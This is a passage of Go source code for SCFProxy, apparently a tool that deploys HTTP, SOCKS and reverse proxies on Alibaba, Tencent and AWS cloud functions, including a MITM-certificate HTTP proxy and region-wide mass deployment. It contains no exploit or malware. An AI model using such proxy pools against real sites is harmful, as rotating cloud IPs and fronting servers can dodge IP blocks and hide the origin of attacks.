12 | } 13 | 14 | type HttpConfig struct { 15 | mu sync.RWMutex 16 | Records map[string]map[string]*HttpRecord 17 | } 18 | 19 | func LoadHttpConfig() (*HttpConfig, error) { 20 | conf := &HttpConfig{Records: make(map[string]map[string]*HttpRecord)} 21 | data, err := os.ReadFile(HttpProxyPath) 22 | if err != nil { 23 | if errors.Is(err, os.ErrNotExist) { 24 | return conf, nil 25 | } 26 | return nil, err 27 | } 28 | 29 | err = json.Unmarshal(data, &conf.Records) 30 | return conf, err 31 | } 32 | 33 | func (c *HttpConfig) Get(provider, region string) (*HttpRecord, bool) { 34 | c.mu.RLock() 35 | defer c.mu.RUnlock() 36 | record, ok := c.Records[provider][region] 37 | return record, ok 38 | } 39 | 40 | func (c *HttpConfig) Set(provider, region string, record *HttpRecord) { 41 | c.mu.Lock() 42 | defer c.mu.Unlock() 43 | _, ok := c.Records[provider] 44 | if !ok { 45 | c.Records[provider] = make(map[string]*HttpRecord) 46 | } 47 | c.Records[provider][region] = record 48 | } 49 | 50 | func (c *HttpConfig) Delete(provider, region string) { 51 | c.mu.Lock() 52 | defer c.mu.Unlock() 53 | delete(c.Records[provider], region) 54 | } 55 | 56 | func (c *HttpConfig) Save() error { 57 | return save(c.Records, HttpProxyPath) 58 | } 59 | 60 | func (c *HttpConfig) AvailableApis() []string { 61 | var apis []string 62 | for _, rmap := range c.Records { 63 | for _, record := range rmap { 64 | r, ok := interface{}(record).(*HttpRecord) 65 | if !ok { 66 | return apis 67 | } 68 | if r.Api != "" { 69 | apis = append(apis, r.Api) 70 | } 71 | } 72 | } 73 | return apis 74 | } 75 | 76 | func (c *HttpConfig) ToDoubleArray() [][]string { 77 | data := [][]string{} 78 | for provider, rmap := range c.Records { 79 | for region, record := range rmap { 80 | data = append(data, []string{provider, region, record.Api}) 81 | } 82 | } 83 | return data 84 | } 85 | -------------------------------------------------------------------------------- /cmd/config/path.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "os" 5 | "os/user" 6 | "path/filepath" 7 | 8 | "github.com/sirupsen/logrus" 9 | ) 10 | 11 | var ( 12 | configPath = filepath.Join(userHomeDir(), ".config/scfproxy") 13 | CertPath = filepath.Join(configPath, "cert/scfproxy.cer") 14 | KeyPath = filepath.Join(configPath, "cert/scfproxy.key") 15 | HttpProxyPath = filepath.Join(configPath, "http.json") 16 | SocksProxyPath = filepath.Join(configPath, "socks.json") 17 | ReverseProxyPath = filepath.Join(configPath, "reverse.json") 18 | ProviderConfigPath = filepath.Join(configPath, "sdk.toml") 19 | ) 20 | 21 | func init() { 22 | os.MkdirAll(filepath.Join(configPath, "cert"), os.ModePerm) 23 | } 24 | 25 | func userHomeDir() string { 26 | usr, err := user.Current() 27 | if err != nil { 28 | logrus.Fatal("Could not get user home directory: %s\n", err) 29 | } 30 | return usr.HomeDir 31 | } 32 | -------------------------------------------------------------------------------- /cmd/config/reverse.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "encoding/json" 5 | "errors" 6 | "os" 7 | "sync" 8 | ) 9 | 10 | type ReverseRecord struct { 11 | Provider string 12 | Region string 13 | Origin string 14 | Api string 15 | ServiceId string 16 | ApiId string 17 | PluginId string 18 | Ips []string 19 | } 20 | 21 | type ReverseConfig struct { 22 | mu sync.Mutex 23 | Records []*ReverseRecord 24 | } 25 | 26 | func LoadReverseConfig() (*ReverseConfig, error) { 27 | config := &ReverseConfig{} 28 | data, err := os.ReadFile(ReverseProxyPath) 29 | if err != nil { 30 | if errors.Is(err, os.ErrNotExist) { 31 | return config, nil 32 | } 33 | return nil, err 34 | } 35 | 36 | if err = json.Unmarshal(data, &config.Records); err != nil { 37 | return nil, err 38 | } 39 | return config, nil 40 | } 41 | 42 | func (r *ReverseConfig) Add(record *ReverseRecord) { 43 | r.mu.Lock() 44 | defer r.mu.Unlock() 45 | r.Records = append(r.Records, record) 46 | } 47 | 48 | func (r *ReverseConfig) Save() error { 49 | return save(r.Records, ReverseProxyPath) 50 | } 51 | 52 | func (r *ReverseConfig) ToDoubleArray() [][]string { 53 | data := [][]string{} 54 | for _, r := range r.Records { 55 | data = append(data, []string{r.Provider, r.Region, r.Origin, r.Api}) 56 | } 57 | return data 58 | } 59 | -------------------------------------------------------------------------------- /cmd/config/socks.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "encoding/json" 5 | "errors" 6 | "os" 7 | "sync" 8 | ) 9 | 10 | type SocksConfig struct { 11 | mu sync.RWMutex 12 | Records map[string]map[string]string 13 | } 14 | 15 | func LoadSocksConfig() (*SocksConfig, error) { 16 | conf := &SocksConfig{Records: make(map[string]map[string]string)} 17 | data, err := os.ReadFile(SocksProxyPath) 18 | if err != nil { 19 | if errors.Is(err, os.ErrNotExist) { 20 | return conf, nil 21 | } 22 | return nil, err 23 | } 24 | 25 | err = json.Unmarshal(data, &conf.Records) 26 | return conf, err 27 | } 28 | 29 | func (c *SocksConfig) Has(provider, region string) bool { 30 | c.mu.RLock() 31 | defer c.mu.RUnlock() 32 | _, ok := c.Records[provider][region] 33 | return ok 34 | } 35 | 36 | func (c *SocksConfig) Set(provider, region string) { 37 | c.mu.Lock() 38 | defer c.mu.Unlock() 39 | _, ok := c.Records[provider] 40 | if !ok { 41 | c.Records[provider] = make(map[string]string) 42 | } 43 | c.Records[provider][region] = "" 44 | } 45 | 46 | func (c *SocksConfig) Delete(provider, region string) { 47 | c.mu.Lock() 48 | defer c.mu.Unlock() 49 | 50 | delete(c.Records[provider], region) 51 | } 52 | 53 | func (c *SocksConfig) Save() error { 54 | return save(c.Records, SocksProxyPath) 55 | } 56 | 57 | func (c *SocksConfig) ToDoubleArray() [][]string { 58 | data := [][]string{} 59 | for provider, rmap := range c.Records { 60 | for region := range rmap { 61 | data = append(data, []string{provider, region}) 62 | } 63 | } 64 | return data 65 | } 66 | -------------------------------------------------------------------------------- /cmd/deploy.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "net/url" 7 | "strconv" 8 | "strings" 9 | "sync" 10 | 11 | "github.com/sirupsen/logrus" 12 | "github.com/spf13/cobra" 13 | "golang.org/x/exp/slices" 14 | 15 | "github.com/shimmeris/SCFProxy/cmd/config" 16 | "github.com/shimmeris/SCFProxy/sdk" 17 | ) 18 | 19 | var deployCmd = &cobra.Command{ 20 | Use: "deploy [http|socks|reverse] -p providers -r regions", 21 | Short: "Deploy module-specific proxies", 22 | ValidArgs: []string{"http", "socks", "reverse"}, 23 | Args: cobra.MatchAll(cobra.ExactArgs(1), cobra.OnlyValidArgs), 24 | RunE: func(cmd *cobra.Command, args []string) error { 25 | providers, err := createProviders(cmd) 26 | if err != nil { 27 | return err 28 | } 29 | 30 | module := args[0] 31 | switch module { 32 | case "http": 33 | return deployHttp(providers) 34 | case "socks": 35 | return deploySocks(providers) 36 | case "reverse": 37 | origin, _ := cmd.Flags().GetString("origin") 38 | if origin == "" { 39 | return errors.New("missing parameter [-o/--origin]") 40 | } 41 | ips, _ := cmd.Flags().GetStringSlice("ip") 42 | return deployReverse(providers, origin, ips) 43 | } 44 | return nil 45 | }, 46 | } 47 | 48 | func init() { 49 | rootCmd.AddCommand(deployCmd) 50 | deployCmd.Flags().StringSliceP("provider", "p", nil, "specify which cloud providers to deploy proxy") 51 | deployCmd.Flags().StringSliceP("region", "r", nil, "specify which regions of cloud providers deploy proxy") 52 | deployCmd.Flags().StringP("config", "c", config.ProviderConfigPath, "path of provider credential file") 53 | 54 | // deploy reverse needed 55 | deployCmd.Flags().StringP("origin", "o", "", "[reverse] Address of the reverse proxy back to the source") 56 | deployCmd.Flags().StringSlice("ip", nil, "[reverse] Restrict ips which can access the reverse proxy address") 57 | 58 | deployCmd.MarkFlagRequired("provider") 59 | deployCmd.MarkFlagRequired("region") 60 | } 61 | 62 | func createProviders(cmd *cobra.Command) ([]sdk.Provider, error) { 63 | providerConfigPath, _ := cmd.Flags().GetString("config") 64 | providerConfig, err := config.LoadProviderConfig(providerConfigPath) 65 | if err != nil { 66 | return nil, err 67 | } 68 | 69 | providerNames, _ := cmd.Flags().GetStringSlice("provider") 70 | regionPatterns, _ := cmd.Flags().GetStringSlice("region") 71 | var providers []sdk.Provider 72 | for _, p := range providerNames { 73 | if !slices.Contains(allProviders, p) { 74 | logrus.Errorf("%s is not a valid provider", p) 75 | continue 76 | } 77 | 78 | if !providerConfig.IsSet(p) { 79 | logrus.Warningf("%s's credential config not set, will ignore", p) 80 | continue 81 | } 82 | 83 | regions := parseRegionPatterns(p, regionPatterns) 84 | if len(regions) == 0 { 85 | logrus.Errorf("No region avalible, pleast use `list region -p %s` cmd to check available regions", p) 86 | continue 87 | } 88 | 89 | for _, r := range regions { 90 | provider, err := createProvider(p, r, providerConfig) 91 | if err != nil { 92 | logrus.Error(err) 93 | continue 94 | } 95 | providers = append(providers, provider) 96 | } 97 | } 98 | return providers, nil 99 | } 100 | 101 | func parseRegionPatterns(provider string, regionPatterns []string) []string { 102 | // patter support 4 styles 103 | // *, ap-*, us-3, us-north-1, ap-beijing 104 | var usableRegions []string 105 | regions := listRegions(provider) 106 | 107 | for _, pattern := range regionPatterns { 108 | if pattern == "*" { 109 | usableRegions = regions 110 | break 111 | } 112 | 113 | // parse specific region name like ap-hongkong-1, cn-hangzhou 114 | if slices.Contains(regions, pattern) { 115 | usableRegions = append(usableRegions, pattern) 116 | continue 117 | } 118 | 119 | // parse region name like us-3, ap-* 120 | patternPart := strings.Split(pattern, "-") 121 | if len(patternPart) != 2 { 122 | logrus.Debugf("%s doesn't have region %s", provider, pattern) 123 | continue 124 | } 125 | 126 | prefix := patternPart[0] 127 | num := patternPart[1] 128 | 129 | var matched []string 130 | for _, r := range regions { 131 | if strings.HasPrefix(r, prefix) { 132 | matched = append(matched, r) 133 | } 134 | } 135 | 136 | if num == "*" { 137 | usableRegions = append(usableRegions, matched...) 138 | continue 139 | } 140 | 141 | n, err := strconv.Atoi(num) 142 | // err exists when region like cn-hangzhou provided, but the provider doesn't have cn-hangzhou 143 | if err != nil { 144 | logrus.Debugf("%s doesn't have region %s", provider, pattern) 145 | continue 146 | } 147 | 148 | if n > len(matched) { 149 | n = len(matched) 150 | } 151 | usableRegions = append(usableRegions, matched[:n]...) 152 | } 153 | 154 | return removeDuplicate(usableRegions) 155 | } 156 | 157 | func removeDuplicate(data []string) []string { 158 | var result []string 159 | m := map[string]struct{}{} 160 | 161 | for _, d := range data { 162 | if _, ok := m[d]; ok { 163 | continue 164 | } 165 | result = append(result, d) 166 | m[d] = struct{}{} 167 | } 168 | return result 169 | } 170 | 171 | func deployHttp(providers []sdk.Provider) error { 172 | conf, err := config.LoadHttpConfig() 173 | if err != nil { 174 | return err 175 | } 176 | 177 | var wg sync.WaitGroup 178 | wg.Add(len(providers)) 179 | 180 | for _, p := range providers { 181 | go func(p sdk.Provider) { 182 | defer wg.Done() 183 | provider, region := p.Name(), p.Region() 184 | hp, ok := p.(sdk.HttpProxyProvider) 185 | if !ok { 186 | logrus.Errorf("Provider %s can't deploy http", p.Name()) 187 | return 188 | } 189 | 190 | onlyTrigger := false 191 | if record, ok := conf.Get(provider, region); ok { 192 | if record.Api != "" { 193 | logrus.Infof("%s %s has been deployed, pass", provider, region) 194 | return 195 | } 196 | onlyTrigger = true 197 | } 198 | 199 | opts := &sdk.FunctionOpts{ 200 | Namespace: Namespace, 201 | FunctionName: HTTPFunctionName, 202 | TriggerName: HTTPTriggerName, 203 | OnlyTrigger: onlyTrigger, 204 | } 205 | api, err := hp.DeployHttpProxy(opts) 206 | if err != nil { 207 | logrus.Error(err) 208 | return 209 | } 210 | 211 | logrus.Printf("[success] http proxy deployed in %s.%s", provider, region) 212 | conf.Set(provider, region, &config.HttpRecord{Api: api}) 213 | }(p) 214 | } 215 | 216 | wg.Wait() 217 | return conf.Save() 218 | } 219 | 220 | func deploySocks(providers []sdk.Provider) error { 221 | conf, err := config.LoadSocksConfig() 222 | if err != nil { 223 | return err 224 | } 225 | 226 | var wg sync.WaitGroup 227 | wg.Add(len(providers)) 228 | 229 | for _, p := range providers { 230 | go func(p sdk.Provider) { 231 | defer wg.Done() 232 | provider, region := p.Name(), p.Region() 233 | sp, ok := p.(sdk.SocksProxyProvider) 234 | if !ok { 235 | logrus.Errorf("Provider %s can't deploy socks", provider) 236 | return 237 | } 238 | 239 | if ok := conf.Has(provider, region); ok { 240 | logrus.Infof("%s %s has already been deployed", provider, region) 241 | return 242 | } 243 | 244 | opts := &sdk.FunctionOpts{ 245 | Namespace: Namespace, 246 | FunctionName: SocksFunctionName, 247 | } 248 | if err := sp.DeploySocksProxy(opts); err != nil { 249 | logrus.Error(err) 250 | return 251 | } 252 | 253 | logrus.Printf("[success] socks proxy deployed in %s.%s", provider, region) 254 | conf.Set(sp.Name(), sp.Region()) 255 | }(p) 256 | } 257 | 258 | wg.Wait() 259 | return conf.Save() 260 | } 261 | 262 | func deployReverse(providers []sdk.Provider, origin string, ips []string) error { 263 | conf, err := config.LoadReverseConfig() 264 | if err != nil { 265 | return err 266 | } 267 | 268 | var wg sync.WaitGroup 269 | wg.Add(len(providers)) 270 | 271 | u, _ := url.Parse(origin) 272 | scheme := u.Scheme 273 | 274 | for _, p := range providers { 275 | go func(p sdk.Provider) { 276 | defer wg.Done() 277 | rp, ok := p.(sdk.ReverseProxyProvider) 278 | if !ok { 279 | logrus.Errorf("%s can't deploy reverse proxy", p.Name()) 280 | return 281 | } 282 | 283 | opts := &sdk.ReverseProxyOpts{Origin: origin, Ips: ips} 284 | r, err := rp.DeployReverseProxy(opts) 285 | if err != nil { 286 | logrus.Error(err) 287 | return 288 | } 289 | 290 | whitelistIp := strings.Join(ips, ", ") 291 | if r.PluginId == "" { 292 | whitelistIp = "all" 293 | } 294 | 295 | api := fmt.Sprintf("%s://%s", scheme, r.ServiceDomain) 296 | record := &config.ReverseRecord{ 297 | Provider: r.Provider, 298 | Region: r.Region, 299 | ApiId: r.ApiId, 300 | Api: api, 301 | Origin: r.Origin, 302 | ServiceId: r.ServiceId, 303 | PluginId: r.PluginId, 304 | Ips: ips, 305 | } 306 | conf.Add(record) 307 | logrus.Infof("[success] %s.%s: %s - %s : accessible from %v", rp.Name(), rp.Region(), r.Origin, api, whitelistIp) 308 | }(p) 309 | } 310 | 311 | wg.Wait() 312 | return conf.Save() 313 | } 314 | -------------------------------------------------------------------------------- /cmd/http.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "errors" 5 | 6 | "github.com/spf13/cobra" 7 | 8 | "github.com/shimmeris/SCFProxy/cmd/config" 9 | "github.com/shimmeris/SCFProxy/http" 10 | ) 11 | 12 | var ( 13 | listenAddr string 14 | certPath string 15 | keyPath string 16 | ) 17 | 18 | var httpCmd = &cobra.Command{ 19 | Use: "http", 20 | Short: "Start http proxy", 21 | RunE: func(cmd *cobra.Command, args []string) error { 22 | conf, err := config.LoadHttpConfig() 23 | if err != nil { 24 | return err 25 | } 26 | 27 | apis := conf.AvailableApis() 28 | if len(apis) < 1 { 29 | return errors.New("available HTTP proxy apis must be at least one") 30 | } 31 | opts := &http.Options{ 32 | ListenAddr: listenAddr, 33 | CertPath: certPath, 34 | KeyPath: keyPath, 35 | Apis: apis, 36 | } 37 | return http.ServeProxy(opts) 38 | }, 39 | } 40 | 41 | func init() { 42 | rootCmd.AddCommand(httpCmd) 43 | httpCmd.Flags().StringVarP(&listenAddr, "listen", "l", "", "host:port of the proxy") 44 | httpCmd.Flags().StringVarP(&certPath, "certPath", "c", config.CertPath, "filepath to the CA certificate used to sign MITM certificates") 45 | httpCmd.Flags().StringVarP(&keyPath, "keyPath", "k", config.KeyPath, "filepath to the private key of the CA used to sign MITM certificates") 46 | 47 | httpCmd.MarkFlagRequired("listen") 48 | } 49 | -------------------------------------------------------------------------------- /cmd/list.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "errors" 5 | "os" 6 | 7 | "github.com/olekukonko/tablewriter" 8 | "github.com/sirupsen/logrus" 9 | "github.com/spf13/cobra" 10 | 11 | "github.com/shimmeris/SCFProxy/cmd/config" 12 | ) 13 | 14 | var listCmd = &cobra.Command{ 15 | Use: "list [provider|region|http|socks|reverse] [flags]", 16 | Short: "Display all kinds of data", 17 | Long: "Display all kinds of data\n" + 18 | "`list provider` accepts `-m module` flag to filter out providers for a specific module\n" + 19 | "`list region` accepts `-p providers` flag to specify which providers supported regions to view\n" + 20 | "remain arguments like `http`, `socks`, `reverse` are used to list the proxies that are currently deployed", 21 | ValidArgs: []string{"provider", "region", "http", "socks", "reverse"}, 22 | Args: cobra.MatchAll(cobra.ExactArgs(1), cobra.OnlyValidArgs), 23 | RunE: func(cmd *cobra.Command, args []string) error { 24 | table := tablewriter.NewWriter(os.Stdout) 25 | table.SetAutoMergeCells(true) 26 | table.SetRowLine(true) 27 | 28 | switch args[0] { 29 | case "provider": 30 | logrus.Debug("test") 31 | module, _ := cmd.Flags().GetString("module") 32 | table.Append(listProviders(module)) 33 | table.Render() 34 | 35 | return nil 36 | case "region": 37 | provider, _ := cmd.Flags().GetStringSlice("provider") 38 | if provider == nil { 39 | return errors.New("missing parameter [-p/--provider]") 40 | } 41 | 42 | data := [][]string{} 43 | for _, p := range provider { 44 | for _, r := range listRegions(p) { 45 | data = append(data, []string{p, r}) 46 | } 47 | } 48 | table.AppendBulk(data) 49 | table.Render() 50 | case "http": 51 | table.SetHeader([]string{"Provider", "Region", "Api"}) 52 | conf, err := config.LoadHttpConfig() 53 | if err != nil { 54 | return err 55 | } 56 | data := conf.ToDoubleArray() 57 | table.AppendBulk(data) 58 | table.Render() 59 | case "socks": 60 | table.SetHeader([]string{"Provider", "Region"}) 61 | conf, err := config.LoadSocksConfig() 62 | if err != nil { 63 | return err 64 | } 65 | data := conf.ToDoubleArray() 66 | table.AppendBulk(data) 67 | table.Render() 68 | case "reverse": 69 | table.SetHeader([]string{"Provider", "Region", "Origin", "Api"}) 70 | conf, err := config.LoadReverseConfig() 71 | if err != nil { 72 | return err 73 | } 74 | data := conf.ToDoubleArray() 75 | table.AppendBulk(data) 76 | table.Render() 77 | } 78 | return nil 79 | }, 80 | } 81 | 82 | func init() { 83 | rootCmd.AddCommand(listCmd) 84 | 85 | listCmd.Flags().StringP("module", "m", "", "filter out providers for a specific module `[provider]`") 86 | listCmd.Flags().StringSliceP("provider", "p", nil, "specify which providers supported regions to view `[region]`") 87 | } 88 | -------------------------------------------------------------------------------- /cmd/provider.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/shimmeris/SCFProxy/cmd/config" 7 | "github.com/shimmeris/SCFProxy/sdk" 8 | "github.com/shimmeris/SCFProxy/sdk/provider/alibaba" 9 | "github.com/shimmeris/SCFProxy/sdk/provider/aws" 10 | "github.com/shimmeris/SCFProxy/sdk/provider/tencent" 11 | ) 12 | 13 | const ( 14 | Namespace = "scfproxy" 15 | 16 | HTTPFunctionName = "scf_http" 17 | HTTPTriggerName = "http_trigger" 18 | 19 | SocksFunctionName = "scf_socks" 20 | ) 21 | 22 | var ( 23 | allProviders = []string{"alibaba", "tencent", "aws"} 24 | httpProviders = []string{"alibaba", "tencent", "aws"} 25 | socksProviders = []string{"alibaba", "tencent"} 26 | reverseProviders = []string{"tencent"} 27 | ) 28 | 29 | func listProviders(module string) []string { 30 | switch module { 31 | case "http": 32 | return httpProviders 33 | case "socks": 34 | return socksProviders 35 | case "reverse": 36 | return reverseProviders 37 | default: 38 | return allProviders 39 | } 40 | } 41 | 42 | func listRegions(provider string) []string { 43 | switch provider { 44 | case "alibaba": 45 | return alibaba.Regions() 46 | case "tencent": 47 | return tencent.Regions() 48 | case "aws": 49 | return aws.Regions() 50 | default: 51 | return nil 52 | } 53 | } 54 | 55 | func createProvider(name, region string, config *config.ProviderConfig) (sdk.Provider, error) { 56 | c := config.ProviderCredentialByName(name) 57 | ak := c.AccessKeyId 58 | sk := c.AccessKeySecret 59 | switch name { 60 | case "alibaba": 61 | accountId := c.AccountId 62 | return alibaba.New(ak, sk, accountId, region) 63 | //case "huawei": 64 | // return huawei.New(ak, sk, region), nil 65 | case "tencent": 66 | return tencent.New(ak, sk, region) 67 | case "aws": 68 | roleArn := c.RoleArn 69 | return aws.New(ak, sk, region, roleArn) 70 | default: 71 | return nil, fmt.Errorf("%s is not a valid provider", name) 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /cmd/root.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/sirupsen/logrus" 7 | "github.com/spf13/cobra" 8 | 9 | "github.com/shimmeris/SCFProxy/cmd/config" 10 | "github.com/shimmeris/SCFProxy/fileutil" 11 | ) 12 | 13 | const version = "0.1.0" 14 | 15 | var debug bool 16 | 17 | var rootCmd = &cobra.Command{ 18 | Use: "scfproxy", 19 | Short: "scfproxy is a tool that implements multiple proxies based on cloud functions and API gateway functions provided by various cloud providers", 20 | Long: ` 21 | ███████╗ ██████╗███████╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 22 | ██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 23 | ███████╗██║ █████╗ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 24 | ╚════██║██║ ██╔══╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 25 | ███████║╚██████╗██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 26 | ╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 27 | https://github.com/shimmeris/SCFProxy 28 | 29 | scfproxy is a tool that implements multiple proxies based on cloud functions and API gateway functions provided by various cloud providers 30 | `, 31 | Version: version, 32 | RunE: func(cmd *cobra.Command, args []string) error { 33 | if !fileutil.PathExists(config.ProviderConfigPath) { 34 | f, err := os.Create(config.ProviderConfigPath) 35 | defer f.Close() 36 | if err != nil { 37 | return err 38 | } 39 | if _, err := f.Write([]byte(config.ProviderConfigContent)); err != nil { 40 | return err 41 | } 42 | logrus.Printf("credential config file has been generated in %s", config.ProviderConfigPath) 43 | } 44 | 45 | return cmd.Help() 46 | }, 47 | PersistentPreRun: func(cmd *cobra.Command, args []string) { 48 | if debug { 49 | logrus.SetLevel(logrus.TraceLevel) 50 | } 51 | }, 52 | } 53 | 54 | func init() { 55 | rootCmd.PersistentFlags().BoolVar(&debug, "debug", false, "set debug log level") 56 | rootCmd.PersistentFlags().BoolP("help", "", false, "help for this command") 57 | } 58 | 59 | func Execute() { 60 | if err := rootCmd.Execute(); err != nil { 61 | logrus.Fatal(err) 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /cmd/socks.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "math/rand" 7 | "sync" 8 | "time" 9 | 10 | "github.com/sirupsen/logrus" 11 | "github.com/spf13/cobra" 12 | 13 | "github.com/shimmeris/SCFProxy/cmd/config" 14 | "github.com/shimmeris/SCFProxy/sdk" 15 | "github.com/shimmeris/SCFProxy/socks" 16 | ) 17 | 18 | var socksCmd = &cobra.Command{ 19 | Use: "socks", 20 | Short: "Start socks proxy", 21 | RunE: func(cmd *cobra.Command, args []string) error { 22 | lp, _ := cmd.Flags().GetString("lp") 23 | sp, _ := cmd.Flags().GetString("sp") 24 | host, _ := cmd.Flags().GetString("host") 25 | auth, _ := cmd.Flags().GetString("auth") 26 | key := randomString(socks.KeyLength) 27 | 28 | var wg sync.WaitGroup 29 | wg.Add(1) 30 | go func() { 31 | defer wg.Done() 32 | socks.Serve(lp, sp, key) 33 | }() 34 | 35 | providerConfigPath, _ := cmd.Flags().GetString("config") 36 | message := &Message{ 37 | Key: key, 38 | Addr: fmt.Sprintf("%s:%s", host, sp), 39 | Auth: auth, 40 | } 41 | invoke(providerConfigPath, message.Json()) 42 | 43 | wg.Wait() 44 | return nil 45 | }, 46 | } 47 | 48 | func invoke(providerConfigPath, message string) { 49 | providerConfig, err := config.LoadProviderConfig(providerConfigPath) 50 | if err != nil { 51 | logrus.Fatalf("Loading provider config failed") 52 | } 53 | 54 | conf, err := config.LoadSocksConfig() 55 | if err != nil { 56 | logrus.Fatalf("Loading socks config failed") 57 | } 58 | 59 | for provider, rmap := range conf.Records { 60 | for region := range rmap { 61 | go func(provider, region string) { 62 | p, err := createProvider(provider, region, providerConfig) 63 | if err != nil { 64 | logrus.Error(err) 65 | return 66 | } 67 | sp, ok := p.(sdk.SocksProxyProvider) 68 | if !ok { 69 | logrus.Errorf("%s can't deploy reverse proxy", provider) 70 | return 71 | } 72 | 73 | opts := &sdk.FunctionOpts{ 74 | Namespace: Namespace, 75 | FunctionName: SocksFunctionName, 76 | } 77 | err = sp.InvokeFunction(opts, message) 78 | if err != nil { 79 | logrus.Error(err) 80 | } 81 | }(provider, region) 82 | } 83 | } 84 | } 85 | 86 | func init() { 87 | rand.Seed(time.Now().UnixNano()) 88 | 89 | rootCmd.AddCommand(socksCmd) 90 | socksCmd.Flags().StringP("lp", "l", "", "listen port for client socks5 connection") 91 | socksCmd.Flags().StringP("sp", "s", "", "listen port for cloud function's connection") 92 | socksCmd.Flags().StringP("host", "h", "", "host:port address of the cloud function callback") 93 | socksCmd.Flags().StringP("config", "c", config.ProviderConfigPath, "path of provider credential file") 94 | socksCmd.Flags().String("auth", "", "username:password for socks proxy authentication") 95 | socksCmd.MarkFlagRequired("lp") 96 | socksCmd.MarkFlagRequired("sp") 97 | socksCmd.MarkFlagRequired("host") 98 | 99 | } 100 | 101 | type Message struct { 102 | Key string 103 | Addr string 104 | Auth string 105 | } 106 | 107 | func (m *Message) Json() string { 108 | b, _ := json.Marshal(m) 109 | return string(b) 110 | } 111 | 112 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 113 | 114 | func randomString(n int) string { 115 | b := make([]rune, n) 116 | for i := range b { 117 | b[i] = letters[rand.Intn(len(letters))] 118 | } 119 | return string(b) 120 | } 121 | -------------------------------------------------------------------------------- /fileutil/file.go: -------------------------------------------------------------------------------- 1 | package fileutil 2 | 3 | import ( 4 | "errors" 5 | "log" 6 | "os" 7 | ) 8 | 9 | func PathExists(path string) bool { 10 | if _, err := os.Stat(path); err == nil { 11 | return true 12 | } else if errors.Is(err, os.ErrNotExist) { 13 | return false 14 | } else { 15 | log.Fatal(err) 16 | return false 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /function/code.go: -------------------------------------------------------------------------------- 1 | package function 2 | 3 | import ( 4 | "archive/zip" 5 | "bytes" 6 | "embed" 7 | "encoding/base64" 8 | "io/fs" 9 | "strings" 10 | 11 | "github.com/sirupsen/logrus" 12 | ) 13 | 14 | type File struct { 15 | Name string 16 | Content []byte 17 | HighPriv bool 18 | } 19 | 20 | // compile socks code with `GOOS=linux GOARCH=amd64 go build main.go` 21 | var ( 22 | //go:embed http/tencent.py 23 | tencentHttpCode []byte 24 | TencentHttpCodeZip = CreateZipBase64([]File{{Name: "index.py", Content: tencentHttpCode}}) 25 | 26 | //go:embed http/alibaba.py 27 | alibabaHttpCode []byte 28 | AlibabaHttpCodeZip = CreateZipBase64([]File{{Name: "index.py", Content: alibabaHttpCode}}) 29 | 30 | //go:embed http/huawei.py 31 | huaweiHttpCode []byte 32 | HuaweiHttpCodeZip = CreateZipBase64([]File{{Name: "index.py", Content: huaweiHttpCode}}) 33 | 34 | //go:embed http/aws.py 35 | awsHttpCode []byte 36 | AwsHttpCodeZip = awsHttpCodeZip() 37 | 38 | //go:embed socks/tencent 39 | tencentSocksCode []byte 40 | TencentSocksCodeZip = CreateZipBase64([]File{{Name: "main", Content: tencentSocksCode, HighPriv: true}}) 41 | 42 | //go:embed socks/alibaba 43 | alibabaSocksCode []byte 44 | AlibabaSocksCodeZip = CreateZipBase64([]File{{Name: "main", Content: alibabaSocksCode, HighPriv: true}}) 45 | 46 | //go:embed socks/aws 47 | awsSocksCode []byte 48 | AwsSocksCodeZip = CreateZip([]File{{Name: "main", Content: awsSocksCode, HighPriv: true}}) 49 | 50 | //go:embed http/package 51 | urllib3 embed.FS 52 | ) 53 | 54 | func awsHttpCodeZip() []byte { 55 | // aws Python runtime does not have urllib3 dependency, need to be uploaded along with the code 56 | files := []File{} 57 | fs.WalkDir(urllib3, ".", func(path string, d fs.DirEntry, err error) error { 58 | if err != nil { 59 | return err 60 | } 61 | 62 | if d.IsDir() { 63 | return nil 64 | } 65 | 66 | content, err := fs.ReadFile(urllib3, path) 67 | files = append(files, File{Name: strings.SplitN(path, "/", 3)[2], Content: content}) 68 | return nil 69 | }) 70 | 71 | files = append(files, File{Name: "index.py", Content: awsHttpCode}) 72 | return CreateZip(files) 73 | } 74 | 75 | func CreateZip(files []File) []byte { 76 | buf := new(bytes.Buffer) 77 | 78 | zw := zip.NewWriter(buf) 79 | 80 | for _, f := range files { 81 | if f.HighPriv { 82 | fw, err := zw.CreateHeader(&zip.FileHeader{ 83 | CreatorVersion: 3 << 8, // indicates Unix 84 | ExternalAttrs: 0777 << 16, // -rwxrwxrwx file permissions 85 | Name: f.Name, 86 | Method: zip.Deflate, 87 | }) 88 | if err != nil { 89 | logrus.Error(err) 90 | } 91 | 92 | _, err = fw.Write(f.Content) 93 | if err != nil { 94 | logrus.Error(err) 95 | } 96 | } else { 97 | fw, err := zw.Create(f.Name) 98 | if err != nil { 99 | logrus.Error(err) 100 | } 101 | _, err = fw.Write(f.Content) 102 | if err != nil 